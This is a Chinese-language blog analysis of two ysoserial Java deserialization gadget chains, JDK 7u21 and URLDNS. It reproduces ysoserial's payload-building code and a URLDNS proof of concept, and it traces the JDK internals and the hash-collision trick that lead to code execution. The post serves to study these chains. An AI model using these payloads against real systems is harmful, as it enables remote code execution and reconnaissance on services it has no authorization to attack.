ysoserial分析【二】7u21和URLDNS
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[TOC]
# 7u21
7u21中利用了TemplatesImpl来执行命令，结合动态代理、AnnotationInvocationHandler、HashSet都成了gadget链。
先看一下调用栈，把ysoserial中的调用栈简化了一下
```
LinkedHashSet.readObject()
LinkedHashSet.add()
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
对_bytecodes属性的值(实例的字节码)进行实例化
RCE
```
其中关于`TemplatsImpl`类如何执行恶意代码的知识可以参考另一篇文章中对CommonsCollections2的分析，这里不再赘述。只要知道这里调用`TemplatesImpl.getOutputProperties()`可以执行恶意代码即可。
看一下ysoserial的poc
```java
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//返回构造好的TemplatesImpl实例，实例的_bytecodes属性的值是执行恶意语句类的字节码
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);//map作为构造方法的第二个参数，map赋值给AnnotationInvocationHandler.membervalues属性
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);//为AIH创建代理
LinkedHashSet set = new LinkedHashSet(); //LinkedHashSet父类是HashSet
set.add(templates);//TemplatesImpl实例
set.add(proxy);//AnnotationInvocationHandler实例的代理，AnnotationInvocationHandler的membervalues是TemplatesImple实例
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); //绑定到AnnotationInvocationHandler的那个map中的再添加一组键值对，value是TemplatesImpl实例。但是由于map中的第一组键值对的键也是zeroHashCodeStr，因此这里就是相当于把第一个键值对的value重新复赋值了。
return set;//返回LinkedHashSet实例，用于序列化
}
```
总体来说就是返回一个`LinkedHashSet`实例，其中有两个元素，第一个元素是`_bytecodes`属性是恶意类字节码的TemplatesImpl实例。
第二个元素是AnnotationInvocationHandler的代理实例，这个AnnotationInvocationHandler实例在初始化时将一个HashMap实例传入，HashMap的第一个元素的key是TemplatesImpl实例。
看一下AnnotationInvocationHandler的构造方法
```java
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map var2) {
this.type = var1;
this.memberValues = var2;
}
```
也就是把这个HashMap实例赋值给了`memberValues`属性。
至此poc分析完毕，下面调试一下反序列化触发gadget链的流程。有感到模糊的地方可以参考以上的分析。
## gadget链分析
首先由于poc return了`LinkedHashSet`实例用于序列化，因此这就是反序列化的入口。由于`LinkedHashSet`没有实现`readObject()`方法，因此跟进其父类：`HashSet.readObject`。
```java
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap(capacity, loadFactor) :
new HashMap(capacity, loadFactor));//创建一个新map
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
```
我们主要关注这里对第一个参数`key`的操作，因为我们的payload就在TemplatsImple和Proxy实例中，因此只有对`key`做某些操作才可能会触发我们的payload。
可以看到首先调用了`hash(key)`，跟进一下HashMap.hash()
```java
final int hash(Object k) {
...
h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
```
可以发现，这里调用了key的hashCode()方法。我们挨个看看两个key：TemplatesImpl和Proxy是如何调用hashCode()的。
由于TemplatesImpl并没有实现hashCode()方法，因此直接调用了基类Object.hashCode()。
```java
public native int hashCode();
```
这是个native方法，也就是java调用非java代码编写的接口，这个hashCode()大概是通过计算对象的内存地址得到的。下面再看Proxy.hashCode()，由于动态代理的特性，调用Proxy的所有方法都会转而调用绑定在Proxy上的`InvocationHandler`的Invoke()方法。回顾最上面创建Proxy时，我们绑定的`InvocationHandler`是AnnotationInvocationHandler实例，因此这里会转而调用`AnnotationInvocationHandler.invoke()`，跟进之后发现，最底层调用了`AnnotationInvocationHandler.hashCodeImple()`方法
```java
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
```
这里看的会比较绕，其实就是通过遍历`this.memberValues.entrySet()`中的所有键值对，来计算其中的key和value的hash，全部加起来之后返回最后的hash值。这里的`this.memberValues`属性就是我们在构建poc时传入的那个HashMap实例。
Proxy.hashCode()跟完了，没有什么危险操作。因此回到最开始的HashMap.put()中。
```java
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
```
`int hash = hash(key)`这一步已经跟踪完了，继续往下看。可以看到for循环的条件是`table[i] != null`，这里的table在最后调用的addEntry()中进行了赋值，跟进一下
```java
void addEntry(int hash, K key, V value, int bucketIndex) {
if ((size >= threshold) && (null != table[bucketIndex])) {
resize(2 * table.length);
hash = (null != key) ? hash(key) : 0;
bucketIndex = indexFor(hash, table.length);
}
createEntry(hash, key, value, bucketIndex);
}
void createEntry(int hash, K key, V value, int bucketIndex) {
Entry e = table[bucketIndex];
table[bucketIndex] = new Entry<>(hash, key, value, e);
size++;
}
```
可以发现，这里利用key、value和hash创建了一个Entry实例，然后添加到了table数组中。回到上面的put()方法，由于for循环处的table中没有数据，因此调用完addEntry()就直接return了。
接下来是第二次进入put()方法，这一次传入的k参数是Proxy实例。`int hash = hash(key);`我们已经跟进过了，仅需往下看，到了for循环。由于在上一次table中已经有了数据，因此这里会进入。然后就到了if条件
```java
for (Entry e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
...
```
这里的变量e就是在上次添加到table数组中的那个Entry对象。`e.hash`就是初始化时传入的hash的值，同理`e.key`也是初始化时传入的key。如果这里满足`e.hash == hash`且`e.key != key`时，就会调用`key.equals(e.key)`。
这些条件后面会回过头来说，先假设这些条件都可以满足。就会导致调用`key.equals(e.key)`，这里的`key`是`Proxy`，而`e.key`是上一次的`TemplatesImpl`实例。又由于调用了Proxy的方法，自动跳转到`AnnotationInvocationHandler.invoke()`。跟进一下
```java
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
...
}
}
```
var1是代理类实例，var2是调用的方法，就是`equals`的Method对象，var3是调用的参数，也就是`TemplatesImpl`实例。注意上面的第一个if条件，`equals`方法的参数是`Object`类型，因此总体判定条件为True，从而以`var3[0]`为参数，调用`this.equalsImpl()`，跟进
```java
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
```
这里的var1就是`TemplatesImpl`实例，而`this.type`在创建poc时就已经定义了
```java
Reflections.setFieldValue(tempHandler, "type", Templates.class);
```
`TemplatesImpl`的正是实现了`Templates`接口，因此if条件中的`this.type.isInstance(var1)`是True，非True就是False，因此进入Else语句。首先调用了`this.getMemberMethods()`，跟进一下
```java
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();//利用反射获取this.type类/接口中声明的所有方法
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
```
由于this.type是`Templates`接口，因此看一下这个接口声明了哪些方法。
```java
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}
```
只声明了两个方法：newTransformer()和getOutputProperties()。
回到`equalsImpl()`，获取了this.type中声明的方法之后返回给变量var2。然后进入一个for循环，对这些方法进行遍历。先把方法名赋值给var6，跟进`this.asOneOfUs()`
```java
private AnnotationInvocationHandler asOneOfUs(Object var1) {
if (Proxy.isProxyClass(var1.getClass())) {
...
}
return null;
}
```
由于var1是`TemplatesImpl`实例，并不是Proxy，因此直接return null。回到上面，由于var9是null，因此进入else语句
```java
var8 = var5.invoke(var1);
```
var5是上面返回的两个方法的其中一个，也就是newTransformer()和getOutputProperties()，var1是`TemplatesImpl`实例。这里通过反射调用`TemplatesImpl`的var5方法。
本文一开始就说了，调用`TemplatesImpl.getOutputProperties()`会导致`TemplatesImpl._bytecodes`的值(含有执行恶意代码的类的字节码)进行实例化，因此这里就是漏洞的触发点了。
## hashCode绕过
至此漏洞已经成功触发，回到之前还有一个没有完成的点，也就是HashMap.put()方法中的那个if条件。
```java
public V put(K key, V value) {
...
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
...
}
```
也就是这里的`e.hash == hash`和`e.key != key`。由于key是Proxy实例，e.key是TemplatesImpl实例，因此第二个条件好满足，注意是第一个条件，如何保证两者的hash相同？
e.hash是由`TemplatesImpl.hashCode()`，由于TemplatesImpl没有定义这个方法，因此调用的是Object的方法，而正如之前说的，`Object.hashCode()`是通过对象的内存地址来计算hash的。
hash变量是Proxy.hashCode()返回的，也就是之前分析的`AnnotationInvocationHandler.hashCodeImple()`，回顾一下
```java
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
```
这里的`this.memberValues`属性就是我们在构建poc时传入的那个HashMap实例，也就是`(new HashMap()).put("f5a5a608", templates)`，templates是TemplatesImpl实例。上面的hashCodeImple()主要是这句：
```java
private int hashCodeImpl() {
...
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
...
return var1;
}
```
而key是"f5a5a608"，value是TempIatesImpl实例，因此等价于
```java
127 * "f5a5a608".hashCode() ^ memberValueHashCode(teamplates)
```
跟进一下memberValueHashCode
```java
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.hashCode();
...
```
由于参数是TemplatesImpl对象，因此直接返回了`TemplatesImpl.hashCode()`，前面已经说了，其TemplatesImpl并没有重写hashCode，因此调用Object.hashCode()根据对象的内存地址生成了hash。至此两个hash的值已经计算完了。
```
第一个hash：
TemplatesImpl实例.hashCode()
第二个hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl实例.hashCode()
```
这两个TemplatesImpl实例的内存地址实际上是一样的，因为在构建poc时，用的就是同一个TemplatesImpl实例：
```java
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//TemplatesImpl实例
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
...
LinkedHashSet set = new LinkedHashSet();
set.add(templates);//插入TemplatesImpl实例
set.add(proxy);//Proxy代理
...
map.put(zeroHashCodeStr, templates);//插入TemplatesImpl实例
return set;
}
```
由于是同一个实例，因此内存地址相同，因此`Object.hashCode()`返回的hash也是相同的。回看一下两个hash
```
第一个hash：
TemplatesImpl实例.hashCode()
第二个hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl实例.hashCode()
```
我们只需要计算一下`"f5a5a608".hashCode()`，这也是一个比较有意思的点，直接放到Debug中计算一下
结果是0！这个值好像是一哥们通过一个while循环遍历出来的。因此上面的第二个hash由于是127 * 0，因此也是0，从而两个hash变成了：
```
第一个hash：
TemplatesImpl实例.hashCode()
第二个hash
0 ^ TemplatesImpl实例.hashCode()
```
^是异或运算符，异或的规则是转换成二进制比较，相同为0，不同为1。由于是按二进制的位进行比较，0只有一位，也就是说如果一个数的最低位与0相同，那一位则为0，否则则为1，这个结果正好与条件一样，只有最低位是0时才会与0相同，从而返回0。如果最低位是1，与0不同，则返回1，也就是啥都没变呗。所以说任何数与0异或，结果都还是原来的值，因此上面这两个hash相等了。
至此几个条件全部满足，通过后面的`key.equals(k)`造成了代码执行。
因此整个的数据流大概是
```
HashSet.readObject()
HashMap.put()
TemplatesImpl.hashCode()
HashMap.put()
Proxy.hashCode()
AnnotationInvocationHandler.Invoke()
AnnotationInvocationHandler.hashCodeImpl()
Proxy.equals()
AnnotationInvocationHandler.Invoke()
AnnotationInvocationHandler.equalsImpl()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
对_bytecodes属性的值(实例的字节码)进行实例化
RCE
```
## 参考
[JDK7u21反序列化漏洞分析](https://www.freebuf.com/vuls/175754.html)
[ysoserial payload分析](https://www.kingkk.com/2020/02/ysoserial-payload%E5%88%86%E6%9E%90/)
# URLDNS
这个gadget会在反序列化时发送一个DNS请求，仅依赖于JDK，因此适用范围很广，应该是只要有反序列化入口就能用这个gadget打。
先看一下调用栈
```
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
```
这里就涉及到了URL类，这个类的`hashCode()`方法底层会调用`URLStreamHandler.hashCode()`发送一个DNS请求。
```java
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
...
```
在反序列化时，HashMap会自动对键计算hash，其中就调用了键的hashCode()方法，因此我们可以利用HashMap来触发`URL.hashCode()`：
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
...
Node[] tab = (Node[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);//
}
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
根据以上描述大概可以写出这样的poc
```java
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
return ht;
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```
这里的`SilentURLStreamHandler`类重写了`URLStreamHandler.getHostAddress()`，这样可以保证在编译gadget时不会发送DNS请求。
然后我们把上面poc返回的类进行序列化，在反序列化并没有发送DNS请求。调试之后才发现，在反序列化调用`URL.hashCode()`由于已经存在`hashCode`且值不为-1，从而直接return掉了。
因此我们需要保证`URL.hashCode`的值为null或-1。我们可以在序列化时利用反射来修改URL的属性，如下
```java
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
```
调用链如下
```
HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()
```
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